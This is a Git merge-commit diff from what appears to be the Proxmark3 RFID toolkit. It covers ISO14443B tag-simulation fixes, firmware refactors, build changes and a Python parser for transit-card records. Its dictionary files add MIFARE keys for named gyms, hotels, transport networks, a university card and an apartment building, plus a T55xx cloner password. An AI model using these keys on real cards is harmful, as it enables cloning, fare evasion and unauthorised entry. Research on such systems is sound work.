Merge branch 'master' into patch-1

Signed-off-by: Iceman <iceman@iuse.se>
This commit is contained in:
Iceman 2024-07-04 15:30:56 +02:00 committed by GitHub
commit a907dc4b53
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
38 changed files with 1838 additions and 741 deletions

View file

@ -3,7 +3,17 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Change `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
- Fixed a bad memory erase (@iceman1001)
- Fixed BT serial comms (@iceman1001)
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
- Fixed 'hf 14b sim' - now works (@michi-jung)
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001)
- Fixed `lf hitag crack2` - now works. (@iceman1001)
- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001)

View file

@ -41,7 +41,7 @@ void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode");
}
static uint64_t rev_quads(uint64_t bits) {
static uint64_t em4100emul_rev_quads(uint64_t bits) {
uint64_t result = 0;
for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) {
return result >> 24;
}
static void fill_buff(uint8_t bit) {
static void em4100emul_fill_buff(uint8_t bit) {
uint8_t *bba = BigBuf_get_addr();
memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2);
em4100emul_buflen += (LF_CLOCK / 2);
@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) {
em4100emul_buflen += (LF_CLOCK / 2);
}
static void construct_EM410x_emul(uint64_t id) {
static void em4100emul_construct_EM410x_emul(uint64_t id) {
int i, j;
int binary[4] = {0, 0, 0, 0};
@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) {
em4100emul_buflen = 0;
for (i = 0; i < 9; i++)
fill_buff(1);
em4100emul_fill_buff(1);
for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2;
for (j = 0; j < 4; j++)
fill_buff(binary[j]);
em4100emul_fill_buff(binary[j]);
fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++)
parity[j] ^= binary[j];
}
for (j = 0; j < 4; j++)
fill_buff(parity[j]);
em4100emul_fill_buff(parity[j]);
fill_buff(0);
em4100emul_fill_buff(0);
}
static void LED_Slot(int i) {
@ -108,8 +108,18 @@ void RunMod(void) {
SpinDelay(100);
SpinUp(100);
LED_Slot(selected);
construct_EM410x_emul(rev_quads(em4100emul_low[selected]));
Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]);
em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected]));
SimulateTagLowFrequency(em4100emul_buflen, 0, true);
//Exit! Button hold break
int button_pressed = BUTTON_HELD(500);
if (button_pressed == BUTTON_HOLD) {
Dbprintf("Button hold, Break!");
LEDsoff();
Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<");
return; // RunMod end
}
selected = (selected + 1) % em4100emul_slots_count;
}
}

View file

@ -101,7 +101,8 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
d += 16;
}
#endif
}void print_result(const char *name, const uint8_t *d, size_t
}
void print_result(const char *name, const uint8_t *d, size_t
n) {

View file

@ -186,7 +186,7 @@
#endif
// 4sample
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);
#define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
static void iso14b_set_timeout(uint32_t timeout_etu);
static void iso14b_set_maxframesize(uint16_t size);
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Signal field is off with the appropriate LED
LED_D_OFF();
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
SpinDelayUs(76);
// Modulate BPSK
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
AT91C_BASE_SSC->SSC_THR = 0xFF;
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
// Transmit the response.
for (uint16_t i = 0; i < len;) {
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
AT91C_BASE_SSC->SSC_THR = response[i++];
// Start-up SSC once first byte is in SSC_THR
if (i == 1) {
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
}
}
}
}
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
uint16_t len, cmdsReceived = 0;
int cardSTATE = SIM_NOFIELD;
int cardSTATE = SIM_POWER_OFF;
int vHf = 0; // in mV
const tosend_t *ts = get_tosend();
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
}
// find reader field
if (cardSTATE == SIM_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) {
if (cardSTATE == SIM_POWER_OFF) {
cardSTATE = SIM_IDLE;
LED_A_ON();
}
} else {
cardSTATE = SIM_POWER_OFF;
LED_A_OFF();
}
if (cardSTATE == SIM_NOFIELD) {
if (cardSTATE == SIM_POWER_OFF) {
continue;
}
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
break;
}
// ISO14443-B protocol states:
// REQ or WUP request in ANY state
// WUP in HALTED state
if (len == 5) {
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
(receivedCmd[0] == ISO14443B_REQB)) {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
cardSTATE = SIM_SELECTING;
}
}
/*
* How should this flow go?
* REQB or WUPB
* send response ( waiting for Attrib)
* ATTRIB
* send response ( waiting for commands 7816)
* HALT
send halt response ( waiting for wupb )
*/
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
// WUPB
switch (cardSTATE) {
//case SIM_NOFIELD:
case SIM_HALTED:
case SIM_IDLE: {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
break;
}
case SIM_SELECTING: {
case SIM_IDLE:
case SIM_READY:
case SIM_HALT: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_WORK;
cardSTATE = SIM_READY;
break;
}
case SIM_HALTING: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALTED;
case SIM_ACTIVE:
default: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break;
}
case SIM_ACKNOWLEDGE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_IDLE;
}
} else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
// REQB
switch (cardSTATE) {
case SIM_IDLE:
case SIM_READY: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_READY;
break;
}
case SIM_WORK: {
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) {
cardSTATE = SIM_HALTED;
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
cardSTATE = SIM_ACKNOWLEDGE;
} else {
// Todo:
// - SLOT MARKER
// - ISO7816
// - emulate with a memory dump
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
}
cardSTATE = SIM_IDLE;
}
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
// HLTB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALT;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
// ATTRIB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_ACTIVE;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
}
++cmdsReceived;
}

View file

@ -49,12 +49,10 @@ void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
// States for 14B SIM command
#define SIM_NOFIELD 0
#define SIM_POWER_OFF 0
#define SIM_IDLE 1
#define SIM_HALTED 2
#define SIM_SELECTING 3
#define SIM_HALTING 4
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#define SIM_READY 2
#define SIM_HALT 3
#define SIM_ACTIVE 4
#endif /* __ISO14443B_H */

View file

@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) {
}
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
if (sample_size == NULL) {
Dbprintf("initSampleBufferEx, param NULL");
return;
}
BigBuf_free_keep_EM();
// We can't erase the buffer now, it would drastically delay the acquisition
@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) {
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return;
if (!data.buffer) {
return;
}
// keep track of total gather samples regardless how many was discarded.
if (samples.counter-- == 0) return;
if (samples.counter-- == 0) {
return;
}
if (bits_per_sample == 0) bits_per_sample = 1;
if (bits_per_sample > 8) bits_per_sample = 8;
if (decimation == 0) decimation = 1;
if (bits_per_sample == 0) {
bits_per_sample = 1;
}
if (bits_per_sample > 8) {
bits_per_sample = 8;
}
if (decimation == 0) {
decimation = 1;
}
if (avg) {
samples.sum += sample;
@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool
if (decimation > 1) {
samples.dec_counter++;
if (samples.dec_counter < decimation) return;
if (samples.dec_counter < decimation) {
return;
}
samples.dec_counter = 0;
}
@ -542,7 +557,6 @@ out:
LED_D_OFF();
// DoAcquisition() end
StopTicks();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return return_value;

View file

@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) {
struct spiffs_dirent e;
struct spiffs_dirent *pe = &e;
char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN);
char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN);
bool printed = false;
SPIFFS_opendir(&fs, "/", &d);
while ((pe = SPIFFS_readdir(&d, pe))) {
char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN];
memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
char linkdest[SPIFFS_OBJ_NAME_LEN];
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
// Kind of stripping the .lnk extension
strtok((char *)pe->name, ".");
} else {
memset(resolvedlink, 0, sizeof(resolvedlink));
}
Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
printed = true;
}
if (printed == false) {
DbpString("<empty>");
}
SPIFFS_closedir(&d);
rdv40_spiffs_lazy_mount_rollback(changed);
BigBuf_free();
}
void rdv40_spiffs_safe_wipe(void) {

View file

@ -307,7 +307,7 @@ E3429281EFC1
# EPI Envisionte
AAFB06045877
#
# gym
# Gyms / Fitness Clubs / Health Clubs / Wellness Centres
#
# Fysiken A
3E65E4FB65B3
@ -318,8 +318,8 @@ AAFB06045877
#
# https://mattionline.de/fitnessstudio-armband-reverse-engineering/
# https://mattionline.de/milazycracker/
# gym wistband A, same as Fysiken A
# gym wistband B
# Gym Wristband A - Same as Fysiken A
# Gym Wristband B
81CC25EBBB6A
195DC63DB3A3
#
@ -330,10 +330,14 @@ A05DBD98E0FC
AA4DDA458EBB
EAB8066C7479
#
# Nordic Wellness A, same as Fysiken A
# Nordic Wellness A - Same as Fysiken A
# Nordic Wellness B
E5519E1CC92B
#
# Jett's 24 Hour Fitness S0 KA/B
# 049979614077
# 829338771705
#
# Hotel KeyCard
D3B595E9DD63
AFBECD121004
@ -1110,6 +1114,14 @@ EA0FD73CB149
FC0001877BF7
FD8705E721B0
00ADA2CD516D
518108E061E2
558AAD64EB5B
001122334455
6CA761AB6CA7
B1C4A8F7F6E3
FF75AFDA5A3C
FCDDF7767C10
A6B3F6C8F1D4
#
#
237A4D0D9119
@ -2345,9 +2357,8 @@ EA0CA627FD06
# Hotel key
CE0F4F15E909
D60DE9436219
#
# ATM Area de Girona, spanish transport card
A01000000000
A02000000000
A03000000000
@ -2363,7 +2374,6 @@ A12000000000
A13000000000
A14000000000
A15000000000
B01000000000
B02000000000
B03000000000
@ -2379,7 +2389,7 @@ B12000000000
B13000000000
B14000000000
B15000000000
#
# Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard
A7AE4A5A33DC
6B857B568C10
@ -2413,14 +2423,14 @@ CE8BFF3728EE
09938D05DA78
EACDA4DBE420
EC2B9FD483CA
#
# Hotel Intelier Orange - Benicasim, Spain
# block 1 - key A
04256CFE0425
#
# InsideWash Membership Card - Portugal
C18063858BB9
#
# An apartment building in Sydney Olympic Park
13254608D0AB
24A2971BC0B2
@ -2454,3 +2464,24 @@ C18063858BB9
32B0A529CEC0
22345517DFBA
33B1A62ACFC1
#
# Universidade de São Paulo (USP) student card
17B50E38F1B0
24E311F594CE
3794FBFB1A54
43B229069F6A
4531952F765F
4943F2F35E0A
4985E681EF88
4F56C88E0337
710070E92C79
8A036C5C35D4
A027BD830A06
D33673C19243
D89A506542F2
E5813CD228F1
FAB943906E9C
#
# R.A.T.T transport card key A/B
AA034F342A55
456776908C48

View file

@ -5,6 +5,8 @@
51243648
000D8787
19920427
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
002BCFCF
# ZX-copy3 T55xx / EM4305
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
# default PROX

View file

@ -46,6 +46,7 @@ endif()
find_package(PkgConfig)
if (NOT SKIPQT EQUAL 1)
if(APPLE AND EXISTS /usr/local/opt/qt5)
# Homebrew installs Qt5 (up to at least 5.11.0) in
# /usr/local/opt/qt5. Ensure that it can be found by CMake
@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1)
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5)
endif(APPLE AND EXISTS /usr/local/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
# Homebrew on Apple Silicon installs Qt5 in
# /opt/homebrew/opt/qt5. Ensure that it can be found by CMake
# /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake
# since it is not in the default /usr/local prefix.
# Add it to PATHS so that it doesn't override the
# CMAKE_PREFIX_PATH environment variable.
# QT_FIND_PACKAGE_OPTIONS should be passed to find_package,
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5)
endif(APPLE AND EXISTS /opt/homebrew/opt/qt5)
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5)
endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
set(QT_PACKAGELIST
Qt5Core
Qt5Widgets
@ -262,6 +264,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/common/cardhelper.c
${PM3_ROOT}/common/generator.c
${PM3_ROOT}/common/bruteforce.c
${PM3_ROOT}/common/hitag2/hitag2_crypto.c
${PM3_ROOT}/client/src/crypto/asn1dump.c
${PM3_ROOT}/client/src/crypto/asn1utils.c
${PM3_ROOT}/client/src/crypto/libpcrypto.c
@ -455,7 +458,6 @@ if (APPLE)
message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}")
set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit")
endif()
endif (APPLE)
if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND))
@ -675,6 +677,8 @@ if (NOT SKIPPYTHON EQUAL 1)
endif (NOT SKIPPYTHON EQUAL 1)
message(STATUS "===================================================================")
add_definitions(-DHAVE_SNPRINTF)
add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/proxmark3.c
${TARGET_SOURCES}
@ -733,6 +737,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE
if (NOT APPLE)
# required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line.
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed)
else (NOT APPLE)
#set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup")
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup)
endif (NOT APPLE)
if (NOT JANSSON_FOUND)

View file

@ -167,12 +167,11 @@ local function help()
print(ansicolors.cyan..'Example usage'..ansicolors.reset)
print(example)
end
-- read LEGIC data
local function readlegicdata(offset, len, iv)
-- read LEGIC info
local function readlegicinfo()
-- Read data
local d0 = ('%04X%04X%02X'):format(offset, len, iv)
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0}
local result, err = c:sendNG()
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil}
local result, err = c:sendNG(false, 2000)
if not result then return oops(err) end
-- result is a packed data structure, data starts at offset 33
return result
@ -404,15 +403,15 @@ local function writeToTag(plainBytes)
return
end
readbytes = readlegicdata(0, 4, 0x55)
readbytes = readlegicinfo()
-- gather MCD & MSN from new Tag - this must be enterd manually
print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:")
-- readbytes is a usbcommandOLD package, hence 32 bytes offset until data.
plainBytes[1] = ('%02x'):format(readbytes:byte(33))
plainBytes[2] = ('%02x'):format(readbytes:byte(34))
plainBytes[3] = ('%02x'):format(readbytes:byte(35))
plainBytes[4] = ('%02x'):format(readbytes:byte(36))
-- readbytes is a table with uid data as hex string in Data key
plainBytes[1] = readbytes.Data:sub(1,2)
plainBytes[2] = readbytes.Data:sub(3,4)
plainBytes[3] = readbytes.Data:sub(5,6)
plainBytes[4] = readbytes.Data:sub(7,8)
MCD = plainBytes[1]
MSN0 = plainBytes[2]

View file

@ -21,10 +21,14 @@ import sys, os
from datetime import datetime, timedelta
from bitarray import bitarray
from bitarray.util import ba2int
from typing import NamedTuple
class BitMe:
def __init__(self):
self.data = bitarray()
self.data = bitarray(endian = 'big')
self.idx = 0
def reset(self):
self.idx = 0
def addBits(self, bits):
@ -47,61 +51,233 @@ class BitMe:
def isEmpty(self):
return (len(self.data) == 0)
'''
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
'''
TYPE_EventCode_Nature = {
0x1: 'urban bus',
0x2: 'interurban bus',
0x3: 'metro',
0x4: 'tramway',
0x5: 'train',
0x8: 'parking',
}
TYPE_EventCode_Type = {
0x1: 'entry validation',
0x2: 'exit validation',
0x4: 'ticket inspecting',
0x6: 'connection entry validation',
0x14: 'test validation',
0x15: 'connection exit validation',
0x16: 'canceled validation',
0x17: 'invalidation',
0x18: 'distribution',
}
TYPE_EventGeoRoute_Direction = {
0: 'undefined',
1: 'outward',
2: 'inward',
3: 'circular',
}
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(65)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
EventCount_mb = Usage.nom(6)
unk0 = Usage.nom_bits(4)
EventCode_Nature_mb = Usage.nom(4)
EventCode_Type_mb = Usage.nom(4)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
0x4: 'urban bus',
0x1: 'tramway',
}
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' Count(?) : {}'. format(EventCount_mb))
print(' unk0... :', unk0);
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(27)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(63)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
print(' !!! Trying Usage_1 (the most common) !!!')
Usage.reset()
Certificate.reset()
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
class InterticHelper(NamedTuple):
OrganizationalAuthority: str
ContractProvider: str
